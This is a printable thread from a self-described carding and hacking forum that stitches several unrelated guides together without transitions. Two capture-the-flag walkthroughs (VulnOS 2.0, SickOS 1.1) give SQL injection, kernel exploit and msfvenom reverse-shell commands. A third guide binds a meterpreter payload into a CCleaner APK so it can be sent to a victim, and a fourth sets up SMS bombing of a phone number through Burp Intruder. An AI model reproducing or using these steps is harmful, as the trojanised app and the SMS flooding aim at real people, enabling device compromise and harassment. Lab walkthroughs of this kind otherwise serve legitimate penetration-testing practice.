[Guide] How to Hack the VulnOS 2.0 VM (CTF Challenge)

[Guide] How to Hack the VulnOS 2.0 VM (CTF Challenge) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Community (https://bhcforums.cc/Forum-Community)
+--- Forum: General Discussion (https://bhcforums.cc/Forum-General-Discussion)
+--- Thread: [Guide] How to Hack the VulnOS 2.0 VM (CTF Challenge) (/Thread-Guide-How-to-Hack-the-VulnOS-2-0-VM-CTF-Challenge)

[Guide] How to Hack the VulnOS 2.0 VM (CTF Challenge) - NINZA - 04-24-2020

“Your assignment is to pentest a company website, get the root of the system and read the final flag” is the only thing we know about this VM other than that is it a smaller one. Therefore without any further ado lets starts by finding our target aka victim.

Breaching Methodologies:

Network Scanning (netdiscover, Nmap)
Enumeration (source code review)
Use Exploit 32075 (searchsploit)
SQL injection (sqlmap)
Use fetched credential for SSH login
Kernel Privilege Escalation (Exploit 37292)
Get Root access and capture the flag.

netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Here, it has discovered the target IP: 192.168.1.102, and now we will run nmap to determine what services are running.
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
[Image: 2.png?w=687&ssl=1]

So, the services that running is SSH on 22 ports, HTTP on 80 ports, IRC on 6667. As port 80 is open that means we can open it in the browser.
[Image: 3.png?w=687&ssl=1]

Since we didn’t found anything on a web page, therefore, we looked into its source code and here saw a link /jabc; let’s open it.
[Image: 4.png?w=687&ssl=1]

When we had explored /jabc in the browser, it put up the following page.
[Image: 5.png?w=687&ssl=1]

In this webpage, there were various tabs and I explored each tab including their page source and I found nothing except for the last tab i.e. Document.
[Image: 6.png?w=687&ssl=1]

When you look into the page source there will be a line saying “/jabd0cs/ on the server. Just log in with the guest/guest.”
[Image: 7.png?w=687&ssl=1]

So, I opened the directory and logged in with guest: guest as username: password respectively. And there was an upload option but there was a restriction that you can only upload the .doc file so it was pretty useless.
If you observe the login page there is a cms opendocman v1.2.7. this version of opendocman is vulnerable.
[Image: 8.1.png?w=687&ssl=1]

Let’s search for its exploits to be used against opendocman. And for that type:
searchsploit OpenDocMan 1.2.7
1
searchsploit OpenDocMan 1.2.7
From its result, we found exploit 32075.txt which was showing “the vulnerability exists due to insufficient validation of “add_value” HTTP GET parameter in “/ajax_udf.php” script. A remote unauthenticated attacker can execute arbitrary SQL commands in application’s database.”
[Image: 8.png?w=687&ssl=1]

Now we will use sqlmap to find out the database of usernames and passwords and for that type:
sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' --risk=3 --level=5 --dbs --threads=4 --batch
1
sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' --risk=3 --level=5 --dbs --threads=4 --batch
[Image: 9.png?w=687&ssl=1]

And we have fetched database name “jabcd0cs”
[Image: 10.png?w=687&ssl=1]

sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs --risk=3 --level=5 --threads=4 --dump-all --batch
1
sqlmap -u 'http://192.168.1.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs --risk=3 --level=5 --threads=4 --dump-all --batch
The sqlmap command will show us all the username and passwords as shown below.
[Image: 11.png?w=687&ssl=1]

As you can see that the password is an MD5 hash value. We can crack it online no third party tool is needed.
[Image: 13.png?w=687&ssl=1]

Password turns outs to be webmin1980 with the username of webmin. As we have username and password we can log in through SSH port. And to log in through SSH open a new terminal in kali and type:
ssh [email protected]
1
ssh [email protected]
And then give the password when asked and you will have a session. Let’s check the version of the kernel to see if it is vulnerable or not.
lsb_release -a
1
lsb_release -a
[Image: 14.png?w=687&ssl=1]

The version is 14.04 that means it can be exploited, and for that type:
searchsploit ubuntu 14.04
1
searchsploit ubuntu 14.04
It has shown so many exploits and from those, we chose 37292.c for overlayfs’ Local Privilege Escalation’.
[Image: 15.png?w=687&ssl=1]

Start python HTTP server for transferring it into victim’s machine.
[Image: 16.png?w=687&ssl=1]

Type the following command to download it:
cd /tmp
wget

[To see content please register here]

1
2
cd /tmp
wget

[To see content please register here]

As the exploit is downloaded, now as always we need to compile it and then run it. And for that the set of commands is:
gcc 37292.c -o shell
./shell
1
2
gcc 37292.c -o shell
./shell
And voila you have reached root but our challenge is not completed here. We still have to find the flag. Once you have reached root then go into the /root directory:
id
cd /root
1
2
id
cd /root
Let’s check what files and folders it is holding.
ls
1
ls
And here you will a flag.txt. Read it!
cat flag.txt
1
cat flag.txt
[Image: 18.png?w=687&ssl=1]

In this article we will learn yet another method hack android authentically. This is the most uncontrived way of hacking an android user as you are binding your maligant file with the original one just like we did with apk.

Firstly, we will download ccleaner from

[To see content please register here]

as we will bind our payload file with it.

Our next step will be downloading the software is Spade. To download it go to the terminal in your Kali and type:

git clone

[To see content please register here]

The enactment of the above command with installs the software successfully. Next, type:

./spade.py /root/Desktop/ccleaner.apk

When you run the above command it will ask you the information about payload, lhost, lport. For payload select option 3 that means type 3. And the give lhost and lport :

Lhost > 192.168.0.104

Lport>4444

Previous rendition of the commands helps us bind an original file with our personalized malign file.
[Image: 4.png?w=687&ssl=1]

After it has all been done successfully, it will ask us to set the listener. Type’y’ here now a new apk will save in spade folder

Now, you can go ahead and send the victim the link so that he can download it.
[Image: 6.png?w=687&ssl=1]

As the victim will click on install, the application will start downloading along with our malicious file. [Image: 7.png?w=687&ssl=1]

And when the application will be opened you will have victim session. [Image: 8.png?w=687&ssl=1]

As you remember you typed ‘y’ before to create listener and the listener is created automatically on the all the details you had given previously. And then to simple have the session type:

sessions –i 1

This time we are going to crack SickOS 1.1 in the Boot2root challenges. This CTF gives a clear analogy of how hacking strategies can be performed on a network to compromise it in a safe environment. The objective being to compromise the network/machine and gain Administrative/root privileges on them.

Breaching Methodology:

Network Scanning (Netdiscover, Nmap)
Configure browser proxy
Use robot.txt
Search Wolf CMS admin login page & default credential (Google)
Enter into the admin console
Generate PHP Backdoor (Msfvenom)
Upload and execute a backdoor
Reverse connection (Metasploit)
Steal password from inside config.php
Get into the shell for privilege escalation
Import python one-liner for proper TTY shell
Open etc/passwd
Switch user (su) and submit the stolen password
Take root access

We will start off by finding the target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target IP is 192.168.1.101. Now we scan the IP by Nmap.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
[Image: 2.png?w=687&ssl=1]

If you had have observed during nmap that there was something about proxy on 3128. So we will try and set up a manual proxy. Give the IP of the VM in the HTTP Proxy and the port 3128
[Image: 3.1.png?w=687&ssl=1]

‘
Generally, there are always some chances of getting robots.txt file inside the web directory, therefore, while penetrating any system we should always check for the robots.txt file. Here also it works and it tells us something about /wolfcms that means this website is made in Wolf CMS or there is a directory with the name of /wolfcms.
[Image: 3.png?w=687&ssl=1]

Then open it in the browser as the link: 192.168.1.101/wolfcms/ and the page will open as below indicating that it has been made in Wolf CMS.
[Image: 4.png?w=687&ssl=1]

I don’t know much about Wolf CMS so I searched Google to know where admin page resides. As I found the login page through Google, I opened it. And it was asking me for username and password. By default, the username and password is admin and admin respectively and I logged into the admin console, after that, select files tab and then select upload files option.
[Image: 5.png?w=687&ssl=1]

Here, we need to upload the malicious file and to generate it open your terminal in kali and type:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 –f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 –f raw
On the other hand run multi/handler inside Metasploit framework.
[Image: 6.png?w=687&ssl=1]

Copy the code from <?php to die(); and paste it to a text file with the extension .php. Upload the said file.
[Image: 7.png?w=687&ssl=1]

As we can see, the PHP backdoor has been uploaded inside /public directory.
[Image: 8.png?w=687&ssl=1]

So now we need to execute shell.php file for getting the reverse connection on Metasploit.
[Image: 9.png?w=687&ssl=1]

Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session 1, now start penetrating for accessing root privilege. We have access /var/www/wolfcms where we found the config.php file. So when had opened config.php file it has shown DB username and password.
[Image: 10.png?w=687&ssl=1]

Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Moving further read the password file and to do so type:
cat etc/password
1
cat etc/password
Observe all the user details it gives us and you will find that user sickos have the value of 1000:1000 that means that this is the first user. So, we might find odour here as it is the first user. Therefore, switch the user to sickos with the password john@123 that we found.
su sickos
sudo -s
1
2
su sickos
sudo -s
Furthermore, we need to go into /root to look for the flag so for that run the set of following commands:
cd /root
ls
1
2
cd /root
ls
Here, you will find a text find. Let’s read it.
HUUURRRRAYYY!!! We have successfully completed this challenge.
[Image: 11.png?w=687&ssl=1]

In this article we will learn about SMS bombing. It is used to prank your friends by sending those hundreds and thousands of SMS at once. There are many third-party sites to do so but there are usually of no use. We are introducing a different method to do so and all you need is you, Kali.

We are going to use BurpSuite that means we have to set up proxy first. And for that go to browser settings and select Preferences.

Then select an advanced option and then go to network settings.
[Image: 2.png?w=687&ssl=1]

A dialogue box will open and from it select Manual Proxy Configuration. As you have selected this, you can either keep the http proxy as localhost or you can set it to 127.0.0.1

Now that proxy has been set up open BurpSuite.

Now select the proxy tab and then the options tab and check the checkbox of the interface. Then click on the Edit button on the left side.

It will open a dialogue box. In this select Support invisible proxying option. Click on OK.
[Image: 6.png?w=687&ssl=1]

When you return to the previous window check the invisible box too.
[Image: 7.png?w=687&ssl=1]

As of now, all the settings have been done. Now what we need is to send the message and for that, we will log in to way2sms.com.

After logging in generate the message and give the contact number to which you want to send the messages. Before clicking on send turn on the interception in BurpSuite.

When you click the send button the request will first go to Burpsuite as it captures the traffic. When the traffic has been captured right-click anywhere and select Send to intruder option or simply use keyboard shortcut i.e. ctrl+i.

Now in the intruder tab select options tab. It will show you the details of the traffic that is the number to which the SMS was destined to and the text message.

Select the part of the text message and click on add.
[Image: 12.png?w=687&ssl=1]

Now go to Payloads tab and select Brute Force in the Payload type option.
[Image: 13.png?w=687&ssl=1]

Then give the character set of 123456789 i.e. 1-9 numbers. And give the minimum length of 1 and the maximum length of 3. Here, minimum and maximum length means the length of digits that will be created using character set. From the customization that we have done, it will create 1100 messages for the receiver.

Now finally to start the attack goes to the intruder menu and select Start Attack from the drop-down menu.
[Image: 15.png?w=687&ssl=1]

Once the attack starts you can see that the receiver will start receiving all the messages in the interval of 1 to 5 seconds as shown in the image below:

I stopped the attack after 29 messages which were sent in the time span of 1 to 2 minutes.
[Image: 17.png?w=687&ssl=1]